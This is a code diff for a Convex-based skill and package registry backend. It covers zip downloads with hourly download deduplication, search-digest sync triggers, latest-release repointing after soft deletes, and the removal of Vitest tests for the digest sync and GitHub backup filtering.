const entries: Array<{ path: string; bytes: Uint8Array }> = []
for (const file of version.files) {
const blob = await ctx.storage.get(file.storageId);
if (!blob) continue;
const buffer = new Uint8Array(await blob.arrayBuffer());
entries.push({ path: file.path, bytes: buffer });
const blob = await ctx.storage.get(file.storageId)
if (!blob) continue
const buffer = new Uint8Array(await blob.arrayBuffer())
entries.push({ path: file.path, bytes: buffer })
}
const zipArray = buildDeterministicZip(entries, {
ownerId: String(skill.ownerUserId),
slug: skill.slug,
version: version.version,
publishedAt: version.createdAt,
});
const zipBlob = new Blob([zipArray], { type: "application/zip" });
})
const zipBlob = new Blob([zipArray], { type: 'application/zip' })
try {
const userId = await getOptionalApiTokenUserId(ctx, request);
const identity = getDownloadIdentityValue(request, userId ? String(userId) : null);
const userId = await getOptionalApiTokenUserId(ctx, request)
const identity = getDownloadIdentityValue(request, userId ? String(userId) : null)
if (identity) {
await ctx.runMutation(internal.downloads.recordDownloadInternal, {
skillId: skill._id,
identityHash: await hashToken(identity),
hourStart: getHourStart(Date.now()),
});
})
}
} catch {
// Best-effort metric path; do not fail downloads.
@@ -139,83 +132,94 @@ export async function downloadZipHandler(
headers: mergeHeaders(
rate.headers,
{
"Content-Type": "application/zip",
"Content-Disposition": `attachment; filename="${slug}-${version.version}.zip"`,
"Cache-Control": "private, max-age=60",
'Content-Type': 'application/zip',
'Content-Disposition': `attachment; filename="${slug}-${version.version}.zip"`,
'Cache-Control': 'private, max-age=60',
},
corsHeaders(),
),
});
}
})
})
export const downloadZip = httpAction(downloadZipHandler);
export const increment = mutation({
args: { skillId: v.id('skills') },
handler: async (ctx, args) => {
// Skip db.get to avoid adding the skill doc to the read set.
// The calling HTTP action already validated the skill exists,
// and the stat processor handles deleted skills gracefully.
await insertStatEvent(ctx, {
skillId: args.skillId,
kind: 'download',
})
},
})
export const recordDownloadInternal = internalMutation({
args: {
skillId: v.id("skills"),
skillId: v.id('skills'),
identityHash: v.string(),
hourStart: v.number(),
},
handler: async (ctx, args) => {
const existing = await ctx.db
.query("downloadDedupes")
.withIndex("by_skill_identity_hour", (q) =>
.query('downloadDedupes')
.withIndex('by_skill_identity_hour', (q) =>
q
.eq("skillId", args.skillId)
.eq("identityHash", args.identityHash)
.eq("hourStart", args.hourStart),
.eq('skillId', args.skillId)
.eq('identityHash', args.identityHash)
.eq('hourStart', args.hourStart),
)
.unique();
if (existing) return;
.unique()
if (existing) return
await ctx.db.insert("downloadDedupes", {
await ctx.db.insert('downloadDedupes', {
skillId: args.skillId,
identityHash: args.identityHash,
hourStart: args.hourStart,
createdAt: Date.now(),
});
})
await insertStatEvent(ctx, {
skillId: args.skillId,
kind: "download",
});
kind: 'download',
})
},
});
})
export const pruneDownloadDedupesInternal = internalMutation({
args: {},
handler: async (ctx) => {
const cutoff = Date.now() - DEDUPE_RETENTION_MS;
const cutoff = Date.now() - DEDUPE_RETENTION_MS
for (let batches = 0; batches < PRUNE_MAX_BATCHES; batches += 1) {
const stale = await ctx.db
.query("downloadDedupes")
.withIndex("by_hour", (q) => q.lt("hourStart", cutoff))
.take(PRUNE_BATCH_SIZE);
.query('downloadDedupes')
.withIndex('by_hour', (q) => q.lt('hourStart', cutoff))
.take(PRUNE_BATCH_SIZE)
if (stale.length === 0) break;
if (stale.length === 0) break
for (const entry of stale) {
await ctx.db.delete(entry._id);
await ctx.db.delete(entry._id)
}
if (stale.length < PRUNE_BATCH_SIZE) break;
if (stale.length < PRUNE_BATCH_SIZE) break
}
},
});
})
export function getHourStart(timestamp: number) {
return Math.floor(timestamp / HOUR_MS) * HOUR_MS;
return Math.floor(timestamp / HOUR_MS) * HOUR_MS
}
export function getDownloadIdentityValue(request: Request, userId: string | null) {
if (userId) return `user:${userId}`;
const ip = getClientIp(request);
if (!ip) return null;
return `ip:${ip}`;
if (userId) return `user:${userId}`
const ip = getClientIp(request)
if (!ip) return null
return `ip:${ip}`
}
export const __test = {
getHourStart,
getDownloadIdentityValue,
};
}
-526
View File
@@ -1,526 +0,0 @@
/* @vitest-environment node */
import { describe, expect, it, vi } from "vitest";
import { internal } from "./_generated/api";
import {
repointPackageLatestRelease,
scheduleOwnerPublisherDigestSync,
syncPackageSearchDigestForPackageId,
syncPackageSearchDigestsForOwnerUserId,
} from "./functions";
describe("package digest sync", () => {
it("clears latestVersion when the current package release is soft-deleted", async () => {
const pkg = {
_id: "packages:demo",
name: "demo-plugin",
normalizedName: "demo-plugin",
displayName: "Demo Plugin",
family: "code-plugin",
channel: "community",
isOfficial: false,
ownerUserId: "users:owner",
summary: "demo",
capabilityTags: ["tools"],
executesCode: true,
runtimeId: null,
softDeletedAt: undefined,
createdAt: 1,
updatedAt: 2,
latestReleaseId: "packageReleases:demo-2",
latestVersionSummary: { version: "2.0.0" },
verification: { tier: "community" },
};
const latestRelease = {
_id: "packageReleases:demo-2",
version: "2.0.0",
softDeletedAt: 10,
};
const owner = {
_id: "users:owner",
handle: "owner",
deletedAt: undefined,
deactivatedAt: undefined,
};
const ctx = {
db: {
get: vi.fn(async (id: string) => {
if (id === "packages:demo") return pkg;
if (id === "packageReleases:demo-2") return latestRelease;
if (id === "users:owner") return owner;
return null;
}),
query: vi.fn(() => ({
withIndex: vi.fn(() => ({
unique: vi.fn().mockResolvedValue(null),
collect: vi.fn().mockResolvedValue([]),
})),
})),
patch: vi.fn(),
insert: vi.fn(),
delete: vi.fn(),
},
};
await syncPackageSearchDigestForPackageId(ctx as never, "packages:demo" as never);
expect(ctx.db.insert).toHaveBeenCalledWith(
"packageSearchDigest",
expect.objectContaining({
packageId: "packages:demo",
latestVersion: undefined,
ownerHandle: "owner",
}),
);
});
it("preserves latestVersion when the current package release is active", async () => {
const pkg = {
_id: "packages:demo",
name: "demo-plugin",
normalizedName: "demo-plugin",
displayName: "Demo Plugin",
family: "code-plugin",
channel: "community",
isOfficial: false,
ownerUserId: "users:owner",
summary: "demo",
capabilityTags: ["tools"],
executesCode: true,
runtimeId: null,
softDeletedAt: undefined,
createdAt: 1,
updatedAt: 2,
latestReleaseId: "packageReleases:demo-2",
latestVersionSummary: { version: "2.0.0" },
verification: { tier: "community" },
};
const latestRelease = {
_id: "packageReleases:demo-2",
version: "2.0.0",
};
const owner = {
_id: "users:owner",
handle: "owner",
deletedAt: undefined,
deactivatedAt: undefined,
};
const ctx = {
db: {
get: vi.fn(async (id: string) => {
if (id === "packages:demo") return pkg;
if (id === "packageReleases:demo-2") return latestRelease;
if (id === "users:owner") return owner;
return null;
}),
query: vi.fn(() => ({
withIndex: vi.fn(() => ({
unique: vi.fn().mockResolvedValue(null),
collect: vi.fn().mockResolvedValue([]),
})),
})),
patch: vi.fn(),
insert: vi.fn(),
delete: vi.fn(),
},
};
await syncPackageSearchDigestForPackageId(ctx as never, "packages:demo" as never);
expect(ctx.db.insert).toHaveBeenCalledWith(
"packageSearchDigest",
expect.objectContaining({
packageId: "packages:demo",
latestVersion: "2.0.0",
ownerHandle: "owner",
}),
);
});
it("repoints packages to the highest-version active release and restores its summary", async () => {
const pkg = {
_id: "packages:demo",
_creationTime: 1,
name: "demo-plugin",
normalizedName: "demo-plugin",
displayName: "Demo Plugin",
family: "code-plugin",
channel: "community",
isOfficial: false,
ownerUserId: "users:owner",
summary: "latest summary",
tags: {
latest: "packageReleases:demo-2",
stable: "packageReleases:demo-2",
},
latestReleaseId: "packageReleases:demo-2",
latestVersionSummary: { version: "2.0.0" },
capabilityTags: ["new"],
executesCode: true,
compatibility: { openclaw: "^2.0.0" },
capabilities: { capabilityTags: ["new"], executesCode: true },
verification: { tier: "community" },
runtimeId: null,
softDeletedAt: undefined,
createdAt: 1,
updatedAt: 2,
};
const fallbackRelease = {
_id: "packageReleases:demo-1",
_creationTime: 10,
packageId: "packages:demo",
version: "1.0.0",
changelog: "old stable",
summary: "stable summary",
compatibility: { openclaw: "^1.0.0" },
capabilities: { capabilityTags: ["stable"], executesCode: false },
verification: { tier: "verified" },
distTags: ["stable"],
createdAt: 10,
softDeletedAt: undefined,
};
const legacyHotfixRelease = {
_id: "packageReleases:demo-legacy",
_creationTime: 20,
packageId: "packages:demo",
version: "0.9.9",
changelog: "legacy hotfix",
summary: "legacy summary",
compatibility: { openclaw: "^0.9.0" },
capabilities: { capabilityTags: ["legacy"], executesCode: false },
verification: { tier: "verified" },
distTags: ["legacy"],
createdAt: 20,
softDeletedAt: undefined,
};
const owner = {
_id: "users:owner",
handle: "owner",
deletedAt: undefined,
deactivatedAt: undefined,
};
const ctx = {
db: {
get: vi.fn(async (id: string) => {
if (id === "packages:demo") return pkg;
if (id === "packageReleases:demo-1") return fallbackRelease;
if (id === "users:owner") return owner;
return null;
}),
query: vi.fn((table: string) => {
if (table === "packageReleases") {
return {
withIndex: vi.fn(() => ({
order: vi.fn(() => ({
paginate: vi.fn().mockResolvedValue({
page: [legacyHotfixRelease, fallbackRelease],
isDone: true,
continueCursor: "",
}),
})),
})),
};
}
if (table === "packageSearchDigest") {
return {
withIndex: vi.fn(() => ({
unique: vi.fn().mockResolvedValue(null),
collect: vi.fn().mockResolvedValue([]),
})),
};
}
if (table === "packageCapabilitySearchDigest") {
return {
withIndex: vi.fn(() => ({
unique: vi.fn().mockResolvedValue(null),
collect: vi.fn().mockResolvedValue([]),
})),
};
}
throw new Error(`Unexpected table ${table}`);
}),
patch: vi.fn(),
insert: vi.fn(),
delete: vi.fn(),
},
};
await repointPackageLatestRelease(
ctx as never,
"packages:demo" as never,
"packageReleases:demo-2" as never,
);
expect(ctx.db.patch).toHaveBeenCalledWith("packageReleases:demo-1", {
distTags: ["stable", "latest"],
});
expect(ctx.db.patch).toHaveBeenCalledWith(
"packages:demo",
expect.objectContaining({
latestReleaseId: "packageReleases:demo-1",
tags: { latest: "packageReleases:demo-1" },
latestVersionSummary: expect.objectContaining({ version: "1.0.0" }),
summary: "stable summary",
capabilityTags: ["stable"],
executesCode: false,
}),
);
expect(ctx.db.insert).toHaveBeenCalledWith(
"packageSearchDigest",
expect.objectContaining({
latestVersion: "1.0.0",
ownerHandle: "owner",
}),
);
});
it("repoints bundle packages to the newest surviving release, not semver-looking versions", async () => {
const pkg = {
_id: "packages:bundle",
_creationTime: 1,
name: "demo-bundle",
normalizedName: "demo-bundle",
displayName: "Demo Bundle",
family: "bundle-plugin",
channel: "community",
isOfficial: false,
ownerUserId: "users:owner",
summary: "latest summary",
tags: {
latest: "packageReleases:bundle-latest",
},
latestReleaseId: "packageReleases:bundle-latest",
latestVersionSummary: { version: "latest" },
capabilityTags: ["new"],
executesCode: false,
compatibility: { hosts: ["openclaw"] },
capabilities: { capabilityTags: ["new"], executesCode: false },
verification: { tier: "community" },
runtimeId: "bundle.runtime",
softDeletedAt: undefined,
createdAt: 1,
updatedAt: 2,
};
const semverLookingRelease = {
_id: "packageReleases:bundle-semver",
_creationTime: 10,
packageId: "packages:bundle",
version: "2.0.0",
changelog: "older semver",
summary: "older semver summary",
compatibility: { hosts: ["openclaw"] },
capabilities: { capabilityTags: ["semver"], executesCode: false },
verification: { tier: "verified" },
distTags: ["legacy"],
createdAt: 10,
softDeletedAt: undefined,
};
const newestRelease = {
_id: "packageReleases:bundle-newest",
_creationTime: 20,
packageId: "packages:bundle",
version: "2024-12",
changelog: "newest bundle build",
summary: "newest bundle summary",
compatibility: { hosts: ["openclaw"] },
capabilities: { capabilityTags: ["bundle"], executesCode: false },
verification: { tier: "verified" },
distTags: ["release-2024-12"],
createdAt: 20,
softDeletedAt: undefined,
};
const owner = {
_id: "users:owner",
handle: "owner",
deletedAt: undefined,
deactivatedAt: undefined,
};
const ctx = {
db: {
get: vi.fn(async (id: string) => {
if (id === "packages:bundle") return pkg;
if (id === "packageReleases:bundle-newest") return newestRelease;
if (id === "users:owner") return owner;
return null;
}),
query: vi.fn((table: string) => {
if (table === "packageReleases") {
return {
withIndex: vi.fn(() => ({
order: vi.fn(() => ({
paginate: vi.fn().mockResolvedValue({
page: [newestRelease, semverLookingRelease],
isDone: true,
continueCursor: "",
}),
})),
})),
};
}
if (table === "packageSearchDigest") {
return {
withIndex: vi.fn(() => ({
unique: vi.fn().mockResolvedValue(null),
collect: vi.fn().mockResolvedValue([]),
})),
};
}
if (table === "packageCapabilitySearchDigest") {
return {
withIndex: vi.fn(() => ({
unique: vi.fn().mockResolvedValue(null),
collect: vi.fn().mockResolvedValue([]),
})),
};
}
throw new Error(`Unexpected table ${table}`);
}),
patch: vi.fn(),
insert: vi.fn(),
delete: vi.fn(),
},
};
await repointPackageLatestRelease(
ctx as never,
"packages:bundle" as never,
"packageReleases:bundle-latest" as never,
);
expect(ctx.db.patch).toHaveBeenCalledWith("packageReleases:bundle-newest", {
distTags: ["release-2024-12", "latest"],
});
expect(ctx.db.patch).toHaveBeenCalledWith(
"packages:bundle",
expect.objectContaining({
latestReleaseId: "packageReleases:bundle-newest",
tags: { latest: "packageReleases:bundle-newest" },
latestVersionSummary: expect.objectContaining({ version: "2024-12" }),
summary: "newest bundle summary",
}),
);
expect(ctx.db.insert).toHaveBeenCalledWith(
"packageSearchDigest",
expect.objectContaining({
latestVersion: "2024-12",
ownerHandle: "owner",
}),
);
});
it("re-syncs package digests when an owner handle changes", async () => {
const owner = {
_id: "users:owner",
handle: "renamed",
deletedAt: undefined,
deactivatedAt: undefined,
};
const pkg = {
_id: "packages:demo",
_creationTime: 1,
name: "demo-plugin",
normalizedName: "demo-plugin",
displayName: "Demo Plugin",
family: "code-plugin",
channel: "community",
isOfficial: false,
ownerUserId: "users:owner",
summary: "demo",
tags: {},
latestReleaseId: undefined,
latestVersionSummary: undefined,
capabilityTags: [],
executesCode: false,
runtimeId: null,
softDeletedAt: undefined,
createdAt: 1,
updatedAt: 2,
verification: undefined,
};
const paginate = vi.fn().mockResolvedValueOnce({
page: [pkg],
isDone: true,
continueCursor: "",
});
const ctx = {
db: {
get: vi.fn(async (id: string) => {
if (id === "users:owner") return owner;
return null;
}),
query: vi.fn((table: string) => {
if (table === "packages") {
return {
withIndex: vi.fn(() => ({
paginate,
})),
};
}
if (table === "packageSearchDigest") {
return {
withIndex: vi.fn(() => ({
unique: vi.fn().mockResolvedValue(null),
collect: vi.fn().mockResolvedValue([]),
})),
};
}
if (table === "packageCapabilitySearchDigest") {
return {
withIndex: vi.fn(() => ({
unique: vi.fn().mockResolvedValue(null),
collect: vi.fn().mockResolvedValue([]),
})),
};
}
throw new Error(`Unexpected table ${table}`);
}),
patch: vi.fn(),
insert: vi.fn(),
delete: vi.fn(),
},
};
await syncPackageSearchDigestsForOwnerUserId(ctx as never, "users:owner" as never);
expect(paginate).toHaveBeenCalledWith({ cursor: null, numItems: 100 });
expect(ctx.db.insert).toHaveBeenCalledWith(
"packageSearchDigest",
expect.objectContaining({
packageId: "packages:demo",
ownerHandle: "renamed",
}),
);
});
});
describe("publisher digest scheduling", () => {
it("schedules package and skill digest sync in separate background mutations", async () => {
const ctx = {
scheduler: {
runAfter: vi.fn().mockResolvedValue(undefined),
},
};
await scheduleOwnerPublisherDigestSync(ctx as never, "publishers:demo" as never);
expect(ctx.scheduler.runAfter).toHaveBeenCalledTimes(2);
expect(ctx.scheduler.runAfter).toHaveBeenNthCalledWith(
1,
0,
internal.functions.syncPackageSearchDigestsForOwnerPublisherIdInternal,
{ ownerPublisherId: "publishers:demo" },
);
expect(ctx.scheduler.runAfter).toHaveBeenNthCalledWith(
2,
0,
internal.functions.syncSkillSearchDigestsForOwnerPublisherIdInternal,
{ ownerPublisherId: "publishers:demo" },
);
});
it("skips scheduling when the trigger context has no scheduler", async () => {
await expect(
scheduleOwnerPublisherDigestSync({} as never, "publishers:demo" as never),
).resolves.toBeUndefined();
});
});
-384
View File
@@ -1,384 +0,0 @@
import { customCtx, customMutation } from "convex-helpers/server/customFunctions";
import { Triggers } from "convex-helpers/server/triggers";
import { v } from "convex/values";
import semver from "semver";
import { internal } from "./_generated/api";
import type { DataModel, Doc, Id } from "./_generated/dataModel";
import {
mutation as rawMutation,
internalMutation as rawInternalMutation,
query,
internalQuery,
action,
internalAction,
httpAction,
} from "./_generated/server";
import type { MutationCtx } from "./_generated/server";
import {
deletePackageSearchDigests,
extractPackageDigestFields,
upsertPackageSearchDigest,
} from "./lib/packageSearchDigest";
import { getOwnerPublisher } from "./lib/publishers";
import { extractDigestFields, upsertSkillSearchDigest } from "./lib/skillSearchDigest";
const triggers = new Triggers<DataModel>();
function isMissingTableError(error: unknown, table: string) {
return (
error instanceof Error &&
new RegExp(`unexpected (query )?table:? ${table}`, "i").test(error.message)
);
}
type PackageDigestSyncCtx = Pick<MutationCtx, "db">;
type OwnerPublisherDigestScheduleCtx = Pick<Partial<MutationCtx>, "scheduler">;
type LatestPackageRelease = Pick<
Doc<"packageReleases">,
| "_id"
| "createdAt"
| "version"
| "changelog"
| "summary"
| "compatibility"
| "capabilities"
| "verification"
| "distTags"
> & {
scanStatus?: Doc<"packages">["scanStatus"];
};
function toPackageLatestVersionSummary(
release: LatestPackageRelease | null,
): Doc<"packages">["latestVersionSummary"] {
if (!release) return undefined;
return {
version: release.version,
createdAt: release.createdAt,
changelog: release.changelog,
compatibility: release.compatibility,
capabilities: release.capabilities,
verification: release.verification,
};
}
function compareFallbackReleases(
family: Doc<"packages">["family"],
a: LatestPackageRelease,
b: LatestPackageRelease,
) {
if (family === "bundle-plugin") {
if (a.createdAt !== b.createdAt) return a.createdAt - b.createdAt;
return a._id.localeCompare(b._id);
}
const aSemver = semver.valid(a.version);
const bSemver = semver.valid(b.version);
if (aSemver && bSemver) return semver.compare(aSemver, bSemver);
if (aSemver) return 1;
if (bSemver) return -1;
if (a.createdAt !== b.createdAt) return a.createdAt - b.createdAt;
return a._id.localeCompare(b._id);
}
async function getPreferredFallbackPackageRelease(
ctx: PackageDigestSyncCtx,
packageId: Id<"packages">,
family: Doc<"packages">["family"],
): Promise<LatestPackageRelease | null> {
let cursor: string | null = null;
let best: LatestPackageRelease | null = null;
while (true) {
const page = await ctx.db
.query("packageReleases")
.withIndex("by_package_active_created", (q) =>
q.eq("packageId", packageId).eq("softDeletedAt", undefined),
)
.order("desc")
.paginate({ cursor, numItems: 100 });
for (const release of page.page) {
const candidate: LatestPackageRelease = {
_id: release._id,
createdAt: release.createdAt,
version: release.version,
changelog: release.changelog,
summary: release.summary,
compatibility: release.compatibility,
capabilities: release.capabilities,
verification: release.verification,
scanStatus: release.verification?.scanStatus,
distTags: release.distTags,
};
if (!best || compareFallbackReleases(family, candidate, best) > 0) best = candidate;
}
if (page.isDone) return best;
cursor = page.continueCursor;
}
}
async function syncPackageSearchDigest(
ctx: PackageDigestSyncCtx,
pkg: Doc<"packages"> | null | undefined,
) {
if (!pkg) return;
const latestRelease = pkg.latestReleaseId ? await ctx.db.get(pkg.latestReleaseId) : null;
const fields = extractPackageDigestFields(pkg);
const owner = await getOwnerPublisher(ctx, {
ownerPublisherId: pkg.ownerPublisherId,
ownerUserId: pkg.ownerUserId,
});
await upsertPackageSearchDigest(ctx, {
...fields,
latestVersion:
latestRelease && !latestRelease.softDeletedAt ? latestRelease.version : undefined,
ownerHandle: owner?.handle ?? "",
ownerKind: owner?.kind,
});
}
export async function syncPackageSearchDigestForPackageId(
ctx: PackageDigestSyncCtx,
packageId: Id<"packages"> | null | undefined,
) {
if (!packageId) return;
const pkg = await ctx.db.get(packageId);
if (!pkg) return;
await syncPackageSearchDigest(ctx, pkg);
}
export async function syncPackageSearchDigestsForOwnerUserId(
ctx: PackageDigestSyncCtx,
ownerUserId: Id<"users"> | null | undefined,
) {
if (!ownerUserId) return;
let cursor: string | null = null;
try {
while (true) {
const page = await ctx.db
.query("packages")
.withIndex("by_owner", (q) => q.eq("ownerUserId", ownerUserId))
.paginate({ cursor, numItems: 100 });
for (const pkg of page.page) {
await syncPackageSearchDigest(ctx, pkg);
}
if (page.isDone) break;
cursor = page.continueCursor;
}
} catch (error) {
if (isMissingTableError(error, "packages")) return;
throw error;
}
}
export async function syncPackageSearchDigestsForOwnerPublisherId(
ctx: PackageDigestSyncCtx,
ownerPublisherId: Id<"publishers"> | null | undefined,
) {
if (!ownerPublisherId) return;
let cursor: string | null = null;
try {
while (true) {
const page = await ctx.db
.query("packages")
.withIndex("by_owner_publisher", (q) => q.eq("ownerPublisherId", ownerPublisherId))
.paginate({ cursor, numItems: 100 });
for (const pkg of page.page) {
await syncPackageSearchDigest(ctx, pkg);
}
if (page.isDone) break;
cursor = page.continueCursor;
}
} catch (error) {
if (isMissingTableError(error, "packages")) return;
throw error;
}
}
async function syncSkillSearchDigestForSkill(
ctx: PackageDigestSyncCtx,
skill: Doc<"skills"> | null | undefined,
) {
if (!skill) return;
const fields = extractDigestFields(skill);
const owner = await getOwnerPublisher(ctx, {
ownerPublisherId: skill.ownerPublisherId,
ownerUserId: skill.ownerUserId,
});
await upsertSkillSearchDigest(ctx, {
...fields,
ownerHandle: owner?.handle ?? "",
ownerKind: owner?.kind,
ownerName: owner?.linkedUserId ? owner.handle : undefined,
ownerDisplayName: owner?.displayName,
ownerImage: owner?.image,
});
}
export async function syncSkillSearchDigestsForOwnerPublisherId(
ctx: PackageDigestSyncCtx,
ownerPublisherId: Id<"publishers"> | null | undefined,
) {
if (!ownerPublisherId) return;
let cursor: string | null = null;
try {
while (true) {
const page = await ctx.db
.query("skills")
.withIndex("by_owner_publisher", (q) => q.eq("ownerPublisherId", ownerPublisherId))
.paginate({ cursor, numItems: 100 });
for (const skill of page.page) {
await syncSkillSearchDigestForSkill(ctx, skill);
}
if (page.isDone) break;
cursor = page.continueCursor;
}
} catch (error) {
if (isMissingTableError(error, "skills")) return;
throw error;
}
}
export async function scheduleOwnerPublisherDigestSync(
ctx: OwnerPublisherDigestScheduleCtx,
ownerPublisherId: Id<"publishers"> | null | undefined,
) {
if (!ownerPublisherId || !ctx.scheduler) return;
await ctx.scheduler.runAfter(
0,
internal.functions.syncPackageSearchDigestsForOwnerPublisherIdInternal,
{ ownerPublisherId },
);
await ctx.scheduler.runAfter(
0,
internal.functions.syncSkillSearchDigestsForOwnerPublisherIdInternal,
{ ownerPublisherId },
);
}
export const syncPackageSearchDigestsForOwnerPublisherIdInternal = rawInternalMutation({
args: {
ownerPublisherId: v.id("publishers"),
},
handler: async (ctx, args) => {
await syncPackageSearchDigestsForOwnerPublisherId(ctx, args.ownerPublisherId);
},
});
export const syncSkillSearchDigestsForOwnerPublisherIdInternal = rawInternalMutation({
args: {
ownerPublisherId: v.id("publishers"),
},
handler: async (ctx, args) => {
await syncSkillSearchDigestsForOwnerPublisherId(ctx, args.ownerPublisherId);
},
});
export async function repointPackageLatestRelease(
ctx: PackageDigestSyncCtx,
packageId: Id<"packages"> | null | undefined,
affectedReleaseId: Id<"packageReleases"> | null | undefined,
) {
if (!packageId || !affectedReleaseId) return;
const pkg = await ctx.db.get(packageId);
if (!pkg) return;
const nextTags = Object.fromEntries(
Object.entries(pkg.tags).filter(([, releaseId]) => releaseId !== affectedReleaseId),
) as Doc<"packages">["tags"];
const latestPointerAffected =
pkg.latestReleaseId === affectedReleaseId || pkg.tags.latest === affectedReleaseId;
if (!latestPointerAffected && Object.keys(nextTags).length === Object.keys(pkg.tags).length) {
return;
}
const nextLatest = latestPointerAffected
? await getPreferredFallbackPackageRelease(ctx, packageId, pkg.family)
: null;
if (latestPointerAffected && nextLatest && !(nextLatest.distTags ?? []).includes("latest")) {
await ctx.db.patch(nextLatest._id, {
distTags: [...(nextLatest.distTags ?? []), "latest"],
});
}
const patch: Partial<Doc<"packages">> = {
tags: latestPointerAffected && nextLatest ? { ...nextTags, latest: nextLatest._id } : nextTags,
updatedAt: Date.now(),
};
if (latestPointerAffected) {
patch.latestReleaseId = nextLatest?._id;
patch.latestVersionSummary = toPackageLatestVersionSummary(nextLatest);
patch.summary = nextLatest?.summary;
patch.capabilityTags = nextLatest?.capabilities?.capabilityTags;
patch.executesCode =
typeof nextLatest?.capabilities?.executesCode === "boolean"
? nextLatest.capabilities.executesCode
: undefined;
patch.compatibility = nextLatest?.compatibility;
patch.capabilities = nextLatest?.capabilities;
patch.verification = nextLatest?.verification;
patch.scanStatus = nextLatest?.scanStatus;
}
await ctx.db.patch(pkg._id, patch);
await syncPackageSearchDigest(ctx, { ...pkg, ...patch });
}
triggers.register("skills", async (ctx, change) => {
if (change.operation === "delete") {
const existing = await ctx.db
.query("skillSearchDigest")
.withIndex("by_skill", (q) => q.eq("skillId", change.id))
.unique();
if (existing) await ctx.db.delete(existing._id);
} else {
await syncSkillSearchDigestForSkill(ctx, change.newDoc);
}
});
triggers.register("packages", async (ctx, change) => {
if (change.operation === "delete") {
await deletePackageSearchDigests(ctx, change.id);
return;
}
await syncPackageSearchDigest(ctx, change.newDoc);
});
triggers.register("packageReleases", async (ctx, change) => {
if (change.operation === "insert") return;
if (
change.operation === "update" &&
change.oldDoc.softDeletedAt === change.newDoc.softDeletedAt
) {
return;
}
const packageId =
change.operation === "delete" ? change.oldDoc.packageId : change.newDoc.packageId;
const affectedReleaseId = change.operation === "delete" ? change.oldDoc._id : change.newDoc._id;
if (change.operation === "delete" || change.newDoc.softDeletedAt) {
await repointPackageLatestRelease(ctx, packageId, affectedReleaseId);
return;
}
await syncPackageSearchDigestForPackageId(ctx, packageId);
});
triggers.register("users", async (ctx, change) => {
if (
change.operation === "update" &&
change.oldDoc.handle === change.newDoc.handle &&
change.oldDoc.deletedAt === change.newDoc.deletedAt &&
change.oldDoc.deactivatedAt === change.newDoc.deactivatedAt
) {
return;
}
const ownerUserId = change.operation === "delete" ? change.id : change.newDoc._id;
await syncPackageSearchDigestsForOwnerUserId(ctx, ownerUserId);
});
triggers.register("publishers", async (ctx, change) => {
const ownerPublisherId = change.operation === "delete" ? change.id : change.newDoc._id;
await scheduleOwnerPublisherDigestSync(ctx, ownerPublisherId);
});
export const mutation = customMutation(rawMutation, customCtx(triggers.wrapDB));
export const internalMutation = customMutation(rawInternalMutation, customCtx(triggers.wrapDB));
export { query, internalQuery, action, internalAction, httpAction };
-158
View File
@@ -1,158 +0,0 @@
import { describe, expect, it, vi } from "vitest";
import { getGitHubBackupPageInternal } from "./githubBackups";
const handler = (getGitHubBackupPageInternal as unknown as { _handler: Function })._handler;
describe("githubBackups page filtering", () => {
it("skips non-public skills (soft-deleted, hidden, removed)", async () => {
const activeSkill = {
_id: "skills:active",
slug: "active-skill",
displayName: "Active Skill",
ownerUserId: "users:active",
latestVersionId: "skillVersions:active",
softDeletedAt: undefined,
moderationStatus: "active",
};
const hiddenSkill = {
_id: "skills:hidden",
slug: "hidden-skill",
displayName: "Hidden Skill",
ownerUserId: "users:hidden",
latestVersionId: "skillVersions:hidden",
softDeletedAt: undefined,
moderationStatus: "hidden",
};
const removedSkill = {
_id: "skills:removed",
slug: "removed-skill",
displayName: "Removed Skill",
ownerUserId: "users:removed",
latestVersionId: "skillVersions:removed",
softDeletedAt: undefined,
moderationStatus: "removed",
};
const softDeletedSkill = {
_id: "skills:soft",
slug: "soft-skill",
displayName: "Soft Skill",
ownerUserId: "users:soft",
latestVersionId: "skillVersions:soft",
softDeletedAt: 1,
moderationStatus: "active",
};
const get = vi.fn(async (id: string) => {
if (id === "skillVersions:active") {
return {
_id: "skillVersions:active",
version: "1.0.0",
files: [{ path: "SKILL.md", size: 10, storageId: "storage:1", sha256: "abc" }],
createdAt: 1_700_000_000_000,
};
}
if (id === "users:active") {
return {
_id: "users:active",
handle: "alice",
deletedAt: undefined,
deactivatedAt: undefined,
};
}
return null;
});
const paginate = vi.fn().mockResolvedValue({
page: [activeSkill, hiddenSkill, removedSkill, softDeletedSkill],
isDone: true,
continueCursor: null,
});
const order = vi.fn().mockReturnValue({ paginate });
const query = vi.fn().mockReturnValue({ order });
const result = await handler(
{
db: {
query,
get,
},
} as never,
{ batchSize: 50 },
);
expect(result).toMatchObject({
isDone: true,
cursor: null,
items: [
{
kind: "ok",
slug: "active-skill",
ownerHandle: "alice",
version: "1.0.0",
},
],
});
expect(get).toHaveBeenCalledTimes(2);
});
it("keeps legacy skills with undefined moderationStatus eligible", async () => {
const legacySkill = {
_id: "skills:legacy",
slug: "legacy-skill",
displayName: "Legacy Skill",
ownerUserId: "users:legacy",
latestVersionId: "skillVersions:legacy",
softDeletedAt: undefined,
moderationStatus: undefined,
};
const get = vi.fn(async (id: string) => {
if (id === "skillVersions:legacy") {
return {
_id: "skillVersions:legacy",
version: "2.0.0",
files: [{ path: "SKILL.md", size: 20, storageId: "storage:2", sha256: "def" }],
createdAt: 1_700_000_000_100,
};
}
if (id === "users:legacy") {
return {
_id: "users:legacy",
handle: null,
deletedAt: undefined,
deactivatedAt: undefined,
};
}
return null;
});
const paginate = vi.fn().mockResolvedValue({
page: [legacySkill],
isDone: true,
continueCursor: null,
});
const order = vi.fn().mockReturnValue({ paginate });
const query = vi.fn().mockReturnValue({ order });
const result = await handler(
{
db: {
query,
get,
},
} as never,
{},
);
expect(result.items).toHaveLength(1);
expect(result.items[0]).toMatchObject({
kind: "ok",
slug: "legacy-skill",
ownerHandle: "users:legacy",
version: "2.0.0",
});
});
});
+77 -97
View File
@@ -1,54 +1,52 @@
import { v } from "convex/values";
import { internal } from "./_generated/api";
import type { Doc, Id } from "./_generated/dataModel";
import { action, internalMutation, internalQuery } from "./functions";
import { assertRole, requireUserFromAction } from "./lib/access";
import { v } from 'convex/values'
import { internal } from './_generated/api'
import type { Doc, Id } from './_generated/dataModel'
import { action, internalMutation, internalQuery } from './_generated/server'
import { assertRole, requireUserFromAction } from './lib/access'
const DEFAULT_BATCH_SIZE = 50;
const MAX_BATCH_SIZE = 200;
const SYNC_STATE_KEY = "default";
const DEFAULT_BATCH_SIZE = 50
const MAX_BATCH_SIZE = 200
const SYNC_STATE_KEY = 'default'
type BackupPageItem =
| {
